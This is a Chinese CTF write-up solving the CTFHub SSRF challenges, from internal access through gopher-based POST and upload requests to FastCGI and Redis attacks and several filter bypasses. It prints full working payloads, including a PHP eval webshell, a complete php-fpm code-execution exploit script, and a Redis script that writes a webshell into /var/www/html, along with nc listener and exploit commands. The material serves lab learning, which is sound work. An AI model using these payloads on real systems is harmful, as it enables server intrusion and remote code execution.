1. 程式人生 > 實用技巧 >CTFHub-技能樹-SSRF

CTFHub-技能樹-SSRF

SSRF

目錄

1.內網訪問

  • 題目描述

    嘗試訪問位於127.0.0.1的flag.php吧

  • 解題過程

    開啟題目,url為http://challenge-54ab013865ee24e6.sandbox.ctfhub.com:10080/?url=_

    推測可以通過引數url訪問內網

    直接訪問?url=http://127.0.0.1/flag.php即可

2.偽協議讀取檔案

  • 題目描述

    嘗試去讀取一下Web目錄下的flag.php吧

  • 解題過程

    url為http://challenge-cc86fd87db00a898.sandbox.ctfhub.com:10080/?url=_

    直接訪問?url=http://127.0.0.1/flag.php,沒有flag,根據題目描述,應該在原始碼中,改用ssrf的偽協議讀取

    ?url=file:///var/www/html/flag.php即可

3.埠掃描

  • 題目描述

    來來來性感CTFHub線上掃埠,據說埠範圍是8000-9000哦

  • 解題過程

    訪問?url=http://127.0.0.1:8000,burp抓包,intruder埠爆破

4.POST請求

  • 題目描述

    這次是發一個HTTP POST請求.對了.ssrf是用php的curl實現的.並且會跟蹤302跳轉.我準備了一個302.php,可能對你有用哦

  • 解題過程

    訪問?url=http://127.0.0.1/302.php

    <?php
    if(isset($_GET['url'])){
        header("Location: {$_GET['url']}");
        exit;
    }
    
    highlight_file(__FILE__);
    

    訪問?url=file:///var/www/html/index.php

    <?php
    
    error_reporting(0);
    
    header("Help: here is 302.php");
    
    if (!isset($_REQUEST['url'])){
        header("Location: /?url=_");
        exit;
    }
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_exec($ch);
    curl_close($ch);
    >
    

    訪問?url=file:///var/www/html/flag.php

    <?php
    
    error_reporting(0);
    
    if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
        echo "Just View From 127.0.0.1";
        return;
    }
    
    $flag=getenv("CTFHUB");
    $key = md5($flag);
    
    if(isset($_POST["key"]) && $_POST["key"] == $key){
        echo $flag;
        exit;
    }
    ?>
    

    訪問?url=http://127.0.0.1/flag.php

    <form action="/flag.php" method="post">
    <input type="text" name="key">
    <!-- Debug: key=5e37e6b3f645b286834aabb8a49dac71-->
    </form>
    

    現在拿到了key,只需要構造POST請求,把key提交給flag.php頁面即可

    (這個過程自己把自己坑了一把)

    ssrf中可以使用gopher協議來構造post請求,具體格式:

    gopher://ip:port/_METHOD /file HTTP/1.1 http-header&body

    構造請求包:

    !注意Content-LengthContent-Type,可以直接訪問頁面提交資料,用burp抓包再修改Host

    POST /flag.php HTTP/1.1
    Host: 127.0.0.1
    User-Agent: curl
    Accept: */*
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 36
    
    key=5e37e6b3f645b286834aabb8a49dac71
    

    HTTP版本之前編碼一次,之後部分URL編碼 兩次:

    !注意,換行符是%0d%0a

    POST%20/flag.php%20HTTP/1.1%250d%250aHost%3A%20127.0.0.1%250d%250aUser-Agent%3A%20curl%250d%250aAccept%3A%20%2A/%2A%250d%250aContent-Type%3A%20application/x-www-form-urlencoded%250d%250aContent-Length%3A%2036%250d%250a%250d%250akey%3D5e37e6b3f645b286834aabb8a49dac71
    

    拼接payload:

    ?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%250d%250aHost%3A%20127.0.0.1%250d%250aUser-Agent%3A%20curl%250d%250aAccept%3A%20%2A/%2A%250d%250aContent-Type%3A%20application/x-www-form-urlencoded%250d%250aContent-Length%3A%2036%250d%250a%250d%250akey%3D5e37e6b3f645b286834aabb8a49dac71
    

    題目給了提示,curl會跟蹤302跳轉,這個點主要用於引數長度或內容有限制的時候,可以通過302跳轉來實現ssrf。例如,限制了url長度,那麼可以在自己的vps或者靶機上,上傳構造好的(Location: gopher://xxxxxxxx)跳轉頁面,然後直接訪問跳轉頁面,即可實現ssrf。

5.上傳檔案

  • 題目描述

    這次需要上傳一個檔案到flag.php了.我準備了個302.php可能會有用.祝你好運

  • 解題過程

    訪問?url=file:///var/www/html/flag.php檢視flag程式碼

    <?php
    
    error_reporting(0);
    
    if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
        echo "Just View From 127.0.0.1";
        return;
    }
    
    if(isset($_FILES["file"]) && $_FILES["file"]["size"] ){
        echo getenv("CTFHUB");
        exit;
    }
    ?>
    

    自行在form表單中新增提交按鈕<input type="submit" value="提交">

    用burp抓包

    修改後:

    POST /flag.php HTTP/1.1
    Host: challenge-0787aada7abf3fe4.sandbox.ctfhub.com:10080
    Content-Length: 222
    Cache-Control: max-age=0
    Origin: http://challenge-0787aada7abf3fe4.sandbox.ctfhub.com:10080
    Upgrade-Insecure-Requests: 1
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFq9cC6PrPMDmf6JG
    User-Agent: Mozilla/5.0 
    Accept: */*
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Connection: close
    
    ------WebKitFormBoundaryFq9cC6PrPMDmf6JG
    Content-Disposition: form-data; name="file"; filename="draft.php"
    Content-Type: application/octet-stream
    
    <?php eval($_POST[x]); ?>
    ------WebKitFormBoundaryFq9cC6PrPMDmf6JG--
    

    改為ssrf

    ?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%250D%250AHost%253A%2520challenge-0787aada7abf3fe4.sandbox.ctfhub.com%253A10080%250D%250AContent-Length%253A%2520222%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AOrigin%253A%2520http%253A//challenge-0787aada7abf3fe4.sandbox.ctfhub.com%253A10080%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryFq9cC6PrPMDmf6JG%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%250D%250AAccept%253A%2520%252A/%252A%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%252Cen%253Bq%253D0.8%250D%250AConnection%253A%2520close%250D%250A%250D%250A------WebKitFormBoundaryFq9cC6PrPMDmf6JG%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522draft.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520eval%2528%2524_POST%255Bx%255D%2529%253B%2520%253F%253E%250D%250A------WebKitFormBoundaryFq9cC6PrPMDmf6JG--
    

    直接訪問就給flag了

6.FastCGI協議

  • 題目描述

    這次.我們需要攻擊一下fastcgi協議咯.也許附件的文章會對你有點幫助

    附件

  • 解題過程

    淺略分析

    這道題坑有點多 = =,反覆做了好幾次才成功 ,主要有幾點:

    • 題目附件中的exp是使用fastcgi協議傳送報文的,是直接向php-fpm(9000埠)傳送的,外網不能訪問到該埠,不能直接拿來打題目url

      • 所以要自己手動獲取fastcgi傳送的報文,然後利用gopher進行內網訪問9000埠的fpm
    • 需要使用hex編碼來構造payload,而hexdump在x86環境下是小端顯示(就是地址位低的位元組在前)

    • hex編碼後的payload需要轉換位url編碼,然後再次url編碼(一共兩次url編碼)

    • 步驟(我是在kali虛擬機器上完成的)

      • 監聽埠(可以不用9000,可以隨意更換,但是在下面的exp裡也要修改對應埠),使用hexdump的大端顯示模式,把結果存到1.txt

        • nc -lvvp 9000 | hexdump -C > 1.txt
      • 執行exp

        • python exp.py -c "<?php var_dump(system('ls /')); ?>" -p 9000 0.0.0.0 /var/www/html/index.php

        • 用法python exp.py -c php程式碼 -p php-fpm埠 ip 任意php檔案的絕對路徑

        • 這裡我們是要自己向自己的埠訪問,來獲取請求報文,所以埠可以任意設定

        • exp指令碼(p神yyds!)

          • import socket
            import random
            import argparse
            import sys
            from io import BytesIO
            
            # Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
            
            PY2 = True if sys.version_info.major == 2 else False
            
            
            def bchr(i):
                if PY2:
                    return force_bytes(chr(i))
                else:
                    return bytes([i])
            
            def bord(c):
                if isinstance(c, int):
                    return c
                else:
                    return ord(c)
            
            def force_bytes(s):
                if isinstance(s, bytes):
                    return s
                else:
                    return s.encode('utf-8', 'strict')
            
            def force_text(s):
                if issubclass(type(s), str):
                    return s
                if isinstance(s, bytes):
                    s = str(s, 'utf-8', 'strict')
                else:
                    s = str(s)
                return s
            
            
            class FastCGIClient:
                """A Fast-CGI Client for Python"""
            
                # private
                __FCGI_VERSION = 1
            
                __FCGI_ROLE_RESPONDER = 1
                __FCGI_ROLE_AUTHORIZER = 2
                __FCGI_ROLE_FILTER = 3
            
                __FCGI_TYPE_BEGIN = 1
                __FCGI_TYPE_ABORT = 2
                __FCGI_TYPE_END = 3
                __FCGI_TYPE_PARAMS = 4
                __FCGI_TYPE_STDIN = 5
                __FCGI_TYPE_STDOUT = 6
                __FCGI_TYPE_STDERR = 7
                __FCGI_TYPE_DATA = 8
                __FCGI_TYPE_GETVALUES = 9
                __FCGI_TYPE_GETVALUES_RESULT = 10
                __FCGI_TYPE_UNKOWNTYPE = 11
            
                __FCGI_HEADER_SIZE = 8
            
                # request state
                FCGI_STATE_SEND = 1
                FCGI_STATE_ERROR = 2
                FCGI_STATE_SUCCESS = 3
            
                def __init__(self, host, port, timeout, keepalive):
                    self.host = host
                    self.port = port
                    self.timeout = timeout
                    if keepalive:
                        self.keepalive = 1
                    else:
                        self.keepalive = 0
                    self.sock = None
                    self.requests = dict()
            
                def __connect(self):
                    self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    self.sock.settimeout(self.timeout)
                    self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                    # if self.keepalive:
                    #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
                    # else:
                    #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
                    try:
                        self.sock.connect((self.host, int(self.port)))
                    except socket.error as msg:
                        self.sock.close()
                        self.sock = None
                        print(repr(msg))
                        return False
                    return True
            
                def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
                    length = len(content)
                    buf = bchr(FastCGIClient.__FCGI_VERSION) \
                           + bchr(fcgi_type) \
                           + bchr((requestid >> 8) & 0xFF) \
                           + bchr(requestid & 0xFF) \
                           + bchr((length >> 8) & 0xFF) \
                           + bchr(length & 0xFF) \
                           + bchr(0) \
                           + bchr(0) \
                           + content
                    return buf
            
                def __encodeNameValueParams(self, name, value):
                    nLen = len(name)
                    vLen = len(value)
                    record = b''
                    if nLen < 128:
                        record += bchr(nLen)
                    else:
                        record += bchr((nLen >> 24) | 0x80) \
                                  + bchr((nLen >> 16) & 0xFF) \
                                  + bchr((nLen >> 8) & 0xFF) \
                                  + bchr(nLen & 0xFF)
                    if vLen < 128:
                        record += bchr(vLen)
                    else:
                        record += bchr((vLen >> 24) | 0x80) \
                                  + bchr((vLen >> 16) & 0xFF) \
                                  + bchr((vLen >> 8) & 0xFF) \
                                  + bchr(vLen & 0xFF)
                    return record + name + value
            
                def __decodeFastCGIHeader(self, stream):
                    header = dict()
                    header['version'] = bord(stream[0])
                    header['type'] = bord(stream[1])
                    header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
                    header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
                    header['paddingLength'] = bord(stream[6])
                    header['reserved'] = bord(stream[7])
                    return header
            
                def __decodeFastCGIRecord(self, buffer):
                    header = buffer.read(int(self.__FCGI_HEADER_SIZE))
            
                    if not header:
                        return False
                    else:
                        record = self.__decodeFastCGIHeader(header)
                        record['content'] = b''
            
                        if 'contentLength' in record.keys():
                            contentLength = int(record['contentLength'])
                            record['content'] += buffer.read(contentLength)
                        if 'paddingLength' in record.keys():
                            skiped = buffer.read(int(record['paddingLength']))
                        return record
            
                def request(self, nameValuePairs={}, post=''):
                    if not self.__connect():
                        print('connect failure! please check your fasctcgi-server !!')
                        return
            
                    requestId = random.randint(1, (1 << 16) - 1)
                    self.requests[requestId] = dict()
                    request = b""
                    beginFCGIRecordContent = bchr(0) \
                                             + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                             + bchr(self.keepalive) \
                                             + bchr(0) * 5
                    request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                                          beginFCGIRecordContent, requestId)
                    paramsRecord = b''
                    if nameValuePairs:
                        for (name, value) in nameValuePairs.items():
                            name = force_bytes(name)
                            value = force_bytes(value)
                            paramsRecord += self.__encodeNameValueParams(name, value)
            
                    if paramsRecord:
                        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
                    request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
            
                    if post:
                        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
                    request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
            
                    self.sock.send(request)
                    self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
                    self.requests[requestId]['response'] = b''
                    return self.__waitForResponse(requestId)
            
                def __waitForResponse(self, requestId):
                    data = b''
                    while True:
                        buf = self.sock.recv(512)
                        if not len(buf):
                            break
                        data += buf
            
                    data = BytesIO(data)
                    while True:
                        response = self.__decodeFastCGIRecord(data)
                        if not response:
                            break
                        if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                                or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                            if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                                self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                            if requestId == int(response['requestId']):
                                self.requests[requestId]['response'] += response['content']
                        if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                            self.requests[requestId]
                    return self.requests[requestId]['response']
            
                def __repr__(self):
                    return "fastcgi connect host:{} port:{}".format(self.host, self.port)
            
            
            if __name__ == '__main__':
                parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
                parser.add_argument('host', help='Target host, such as 127.0.0.1')
                parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
                parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
                parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
            
                args = parser.parse_args()
            
                client = FastCGIClient(args.host, args.port, 3, 0)
                params = dict()
                documentRoot = "/"
                uri = args.file
                content = args.code
                params = {
                    'GATEWAY_INTERFACE': 'FastCGI/1.0',
                    'REQUEST_METHOD': 'POST',
                    'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
                    'SCRIPT_NAME': uri,
                    'QUERY_STRING': '',
                    'REQUEST_URI': uri,
                    'DOCUMENT_ROOT': documentRoot,
                    'SERVER_SOFTWARE': 'php/fcgiclient',
                    'REMOTE_ADDR': '127.0.0.1',
                    'REMOTE_PORT': '9985',
                    'SERVER_ADDR': '127.0.0.1',
                    'SERVER_PORT': '80',
                    'SERVER_NAME': "localhost",
                    'SERVER_PROTOCOL': 'HTTP/1.1',
                    'CONTENT_TYPE': 'application/text',
                    'CONTENT_LENGTH': "%d" % len(content),
                    'PHP_VALUE': 'auto_prepend_file = php://input',
                    'PHP_ADMIN_VALUE': 'allow_url_include = On'
                }
                response = client.request(params, content)
            
            
      • 處理請求報文

        • 我在參考裡的指令碼上添加了一些處理的程式碼,來過濾hexdump -C的對照資訊,然後轉換成url編碼格式

        • import urllib
          
          # 開啟報文
          file = open("/home/kali/1.txt","r")
          content = file.readlines()
          # 讀取報文,去除對照資訊
          str_ = ""
          for line in content:
              str_ += line[8:-20]
          # 去除空格和換行符
          str_dealed = str_.replace("\n", "").replace(" ", "")
          # 轉換為url編碼形式
          payload = ""
          length = len(str_dealed)
          for i in range(0, length, 2):
              temp = "%" + str_dealed[i] + str_dealed[i+1]
              payload += temp
          # 再次url編碼
          print(urllib.quote(payload))
          
      • 拼接payload

        • http://challenge-id.sandbox.ctfhub.com:10080/?url=gopher://127.0.0.1:9000/_payload
  • 參考

    https://blog.csdn.net/rfrder/article/details/108589988

    https://blog.csdn.net/mysteryflower/article/details/94386461

7.Redis

  • 題目描述

    這次來攻擊redis協議吧.redis://127.0.0.1:6379,資料?沒有資料!自己找!

  • 解題過程

    訪問?url=file:///var/www/html/index.php

    <?php
    
    error_reporting(0);
    
    if (!isset($_REQUEST['url'])) {
        header("Location: /?url=_");
        exit;
    }
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_exec($ch);
    curl_close($ch);
    ?>
    

    ​ 這道題和上道題方法類似,都是利用gopher來構造特定協議內容,直接和應用通訊,這道題用的是Redis的RESP協議

    ​ 關於RESP和其他詳細分析,可以參考這篇文章

    • 利用Redis來寫webshell

      redis命令

      flushall
      set 1 '<?php eval($_GET["cmd"]);?>'
      config set dir /var/www/html
      config set dbfilename shell.php
      save
      
    • 利用指令碼轉換為gopher的payload(出自上面的文章)

      import urllib
      from urllib import parse
      
      protocol = "gopher://"
      ip = "127.0.0.1"
      port = "6379"
      shell = "\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
      filename = "shell.php"
      path = "/var/www/html"
      passwd = ""
      cmd = ["flushall",
             "set 1 {}".format(shell.replace(" ", "${IFS}")),
             "config set dir {}".format(path),
             "config set dbfilename {}".format(filename),
             "save"
             ]
      if passwd:
          cmd.insert(0, "AUTH {}".format(passwd))
      payload_prefix = protocol + ip + ":" + port + "/_"
      CRLF = "\r\n"
      
      
      def redis_format(arr):
          redis_arr = arr.split(" ")
          cmd_ = ""
          cmd_ += "*" + str(len(redis_arr))
          for x_ in redis_arr:
              cmd_ += CRLF + "$" + str(len((x_.replace("${IFS}", " ")))) + CRLF + x_.replace("${IFS}", " ")
          cmd_ += CRLF
          return cmd_
      
      
      if __name__ == "__main__":
          payload = ""
          for x in cmd:
              payload += parse.quote(redis_format(x))  # url編碼
          payload = payload_prefix + parse.quote(payload)  # 再次url編碼
          print(payload)
      

      添加了一次url編碼,來適配GET的兩次解碼

      得到payload:gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%3C%253Fphp%2520eval%2528%2524_GET%255B%22cmd%22%255D%2529%253B%253F%3E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

      然後訪問/shell.php?cmd=php_code;即可

8.URL Bypass

  • 題目描述

    url must startwith "http://notfound.ctfhub.com"

  • 解題過程

    之前有過xss的bypass經驗,知道兩個方法:

    • 利用xip.io(可以直接訪問該域名,裡面有詳細說明)

      • 訪問www.xxx.com.1.1.1.1.xip.io,會解析為1.1.1.1
      • 嘗試發現,xip.io被ban了
    • 嘗試nip.io

      • 可以使用
      • payload:?url=http://notfound.ctfhub.com.127.0.0.1.nip.io/flag.php
    • 使用HTTP基礎認證

9.數字IP Bypass

  • 題目描述

  • 解題過程

    訪問?url=http://127.0.0.1,提示ban掉了127 172 @

    只需要把127.0.0.1轉換為數字IP,結果為2130706433

    payload:?url=http://2130706433/flag.php

10.302跳轉 Bypass

  • 題目描述

  • 解題過程

    訪問?url=http://127.0.0.1,提示禁止訪問區域網ip

    只需要把跳轉的指令碼上傳到vps上,然後訪問vps上的指令碼,跳轉回去即可

    <?php
    if(isset($_GET['url'])){
        header("Location: {$_GET['url']}");
        exit;
    }
    ?>
    

    ?url=http://IP:PORT/302.php?url=http://127.0.0.1/flag.php

11.DNS重繫結 Bypass

  • 題目描述

  • 解題過程

    訪問?url=http://127.0.0.1,提示禁止訪問區域網ip

    題目是DNS重繫結,就去搜了一下相關資料 來源:https://www.freebuf.com/articles/web/135342.html

    對於常見的IP限制,後端伺服器可能通過下圖的流程進行IP過濾:

    對於使用者請求的URL引數,首先伺服器端會對其進行DNS解析,然後對於DNS伺服器返回的IP地址進行判斷,如果在黑名單中,就pass掉。

    但是在整個過程中,第一次去請求DNS服務進行域名解析到第二次服務端去請求URL之間存在一個時間查,利用這個時間差,我們可以進行DNS 重繫結攻擊。

    要完成DNS重繫結攻擊,我們需要一個域名,並且將這個域名的解析指定到我們自己的DNS Server,在我們的可控的DNS Server上編寫解析服務,設定TTL時間為0。這樣就可以進行攻擊了,完整的攻擊流程為:

    (1)、伺服器端獲得URL引數,進行第一次DNS解析,獲得了一個非內網的IP

    (2)、對於獲得的IP進行判斷,發現為非黑名單IP,則通過驗證

    (3)、伺服器端對於URL進行訪問,由於DNS伺服器設定的TTL為0,所以再次進行DNS解析,這一次DNS伺服器返回的是內網地址。

    (4)、由於已經繞過驗證,所以伺服器端返回訪問內網資源的結果。

    推薦一個很詳細的資料:關於DNS-rebinding的總結

    需要有域名和vps,然後根據總結裡的方法,就可以完成

    (我暫時沒有能用的域名,挖個坑,以後來填)